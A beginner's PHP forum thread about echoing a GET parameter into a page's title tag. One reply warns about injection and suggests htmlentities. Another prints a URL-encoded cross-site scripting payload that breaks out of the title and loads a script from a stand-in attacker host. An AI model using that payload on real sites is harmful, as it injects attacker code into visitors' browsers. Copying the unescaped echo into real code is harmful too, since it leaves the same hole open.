Jump to content

New to php and a simple question


ze1d
 Share

Recommended Posts

Hi all, I'm new to PHP and still learning,I'm try to send an argument from one page to another using a form (in the first page and using the GET method).Now in the second page I'm trying to make the sent value as a title of the page like this:<title><?php $_GET["q"];?></title>But this isn't working..Can someone help me please :)zeid

Link to comment
Share on other sites

also, you need to say <?phpecho "<title>" . $_GET['q'] . "</title>"?>or else your title would be: "<?php echo $_GET['q'] ?> - Internet Broswer"
Bull$hit!PHP staments can be embed anywhere within HTML (or other document types for that matter).
<title><?php echo $_GET["q"];?></title>

Is a perfectly fine structure of a PHP file. Try it yourself if you don't believe me.

Link to comment
Share on other sites

Even

<ti<?php echo "tle>{$_GET['q']}</ti"; ?>tle>

Would be fine (though don't know why you would write it that way...)

Link to comment
Share on other sites

Well, if you use that, we can do stuff to your site like...stuff lolYou should just put on this instead:<?php echo htmlentities(stripslashes($_GET['q'])); ?>If you don't, we can for example in your URI write this:?q=<a href="http://www.somesite.com">Text</a>That would display like a link to somesite.com. Not good :)

Link to comment
Share on other sites

That wouldn't do anything. You can't put a link inside <title> tags. You might be able to add a Javascript file and then send someone a link to the page but the link is going to look suspicious and the cross-site attack is of limited significance anyway. Would you click on this link?

http://www.site.com/?q=title%3C%2Ftitle%3E%3Cscript+type%3D%22text%2Fjavascript%22+src%3D%22http%3A%2F%2Fwww.hax.com%2Fhack.js%22%3E%3C%2Fscript%3E%3Ctitle%3E

Link to comment
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
 Share

×
×
  • Create New...